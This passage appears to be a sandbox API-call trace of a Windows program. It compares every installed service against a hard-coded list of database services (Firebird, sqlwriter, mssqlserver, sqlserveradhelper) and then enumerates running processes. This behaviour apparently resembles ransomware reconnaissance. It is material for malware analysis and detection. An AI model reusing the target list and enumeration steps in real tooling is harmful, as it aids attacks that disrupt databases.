returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0244.853] lstrlenW (lpString="CDPSvc") returned 6 [0244.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0244.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0244.853] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0244.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0244.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0244.853] lstrlenW (lpString="CryptSvc") returned 8 [0244.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0244.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0244.853] lstrlenW (lpString="DcomLaunch") returned 10 [0244.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0244.853] lstrlenW (lpString="DeviceAssociationService") returned 24 [0244.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0244.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0244.853] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0244.853] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0244.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0244.854] lstrlenW (lpString="Dhcp") returned 4 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0244.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0244.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0244.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0244.854] lstrlenW (lpString="Dnscache") returned 8 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0244.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0244.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0244.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0244.854] lstrlenW (lpString="DPS") returned 3 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0244.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0244.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0244.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0244.854] lstrlenW (lpString="DusmSvc") returned 7 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0244.854] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0244.854] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0244.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0244.854] lstrlenW (lpString="EventLog") returned 8 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0244.854] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0244.854] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0244.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0244.854] lstrlenW (lpString="EventSystem") returned 11 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0244.854] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0244.854] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0244.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0244.854] lstrlenW (lpString="FontCache") returned 9 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0244.854] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0244.854] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0244.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0244.854] lstrlenW (lpString="gpsvc") returned 5 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0244.854] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0244.854] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0244.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0244.854] lstrlenW (lpString="iphlpsvc") returned 8 [0244.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0244.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0244.855] lstrlenW (lpString="KeyIso") returned 6 [0244.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0244.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0244.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0244.855] lstrlenW (lpString="LanmanServer") returned 12 [0244.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0244.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0244.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0244.855] lstrlenW (lpString="LanmanWorkstation") returned 17 [0244.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0244.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0244.855] lstrlenW (lpString="lfsvc") returned 5 [0244.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0244.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0244.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0244.855] lstrlenW (lpString="lmhosts") returned 7 [0244.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0244.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0244.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0244.855] lstrlenW (lpString="LSM") returned 3 [0244.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0244.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0244.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0244.855] lstrlenW (lpString="MpsSvc") returned 6 [0244.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0244.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0244.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0244.855] lstrlenW (lpString="NcbService") returned 10 [0244.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0244.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0244.855] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0244.855] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0244.856] lstrlenW (lpString="netprofm") returned 8 [0244.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0244.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0244.856] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0244.856] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0244.856] lstrlenW (lpString="NgcSvc") returned 6 [0244.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0244.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0244.856] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0244.856] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0244.856] lstrlenW (lpString="NlaSvc") returned 6 [0244.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0244.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0244.856] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0244.856] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0244.856] lstrlenW (lpString="nsi") returned 3 [0244.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0244.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0244.856] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0244.856] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0244.856] lstrlenW (lpString="PcaSvc") returned 6 [0244.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0244.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0244.856] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0244.856] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0244.856] lstrlenW (lpString="PlugPlay") returned 8 [0244.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0244.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0244.856] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0244.856] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0244.856] lstrlenW (lpString="Power") returned 5 [0244.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0244.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0244.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0244.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0244.856] lstrlenW (lpString="ProfSvc") returned 7 [0244.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0244.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0244.856] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0244.856] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0244.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0244.857] lstrlenW (lpString="RpcEptMapper") returned 12 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0244.857] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0244.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0244.857] lstrlenW (lpString="RpcSs") returned 5 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0244.857] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0244.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0244.857] lstrlenW (lpString="SamSs") returned 5 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0244.857] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0244.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0244.857] lstrlenW (lpString="Schedule") returned 8 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0244.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0244.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0244.857] lstrlenW (lpString="SecurityHealthService") returned 21 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0244.857] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0244.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0244.857] lstrlenW (lpString="SENS") returned 4 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0244.857] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0244.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0244.857] lstrlenW (lpString="ShellHWDetection") returned 16 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0244.857] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0244.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0244.857] lstrlenW (lpString="Spooler") returned 7 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0244.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0244.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0244.857] lstrlenW (lpString="StateRepository") returned 15 [0244.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0244.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0244.857] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0244.858] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0244.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0244.858] lstrlenW (lpString="SysMain") returned 7 [0244.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0244.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0244.858] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0244.858] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0244.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0244.858] lstrlenW (lpString="SystemEventsBroker") returned 18 [0244.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0244.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0244.858] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0244.858] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0244.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0244.858] lstrlenW (lpString="Themes") returned 6 [0244.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0244.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0244.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0244.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0244.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0244.858] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0244.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0244.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0244.858] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0244.858] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0244.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0244.858] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0244.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0244.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0244.858] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0244.858] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0244.858] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0244.863] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.863] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.863] lstrlenW (lpString="System") returned 6 [0244.863] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.864] lstrlenW (lpString="smss.exe") returned 8 [0244.864] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.864] lstrlenW (lpString="csrss.exe") returned 9 [0244.864] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.864] lstrlenW (lpString="wininit.exe") returned 11 [0244.865] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.865] lstrlenW (lpString="csrss.exe") returned 9 [0244.865] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.865] lstrlenW (lpString="winlogon.exe") returned 12 [0244.865] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.865] lstrlenW (lpString="services.exe") returned 12 [0244.865] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.866] lstrlenW (lpString="lsass.exe") returned 9 [0244.866] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.866] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0244.866] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.866] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0244.866] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.867] lstrlenW (lpString="svchost.exe") returned 11 [0244.867] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.867] lstrlenW (lpString="svchost.exe") returned 11 [0244.867] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.867] lstrlenW (lpString="dwm.exe") returned 7 [0244.867] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.868] lstrlenW (lpString="svchost.exe") returned 11 [0244.868] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, 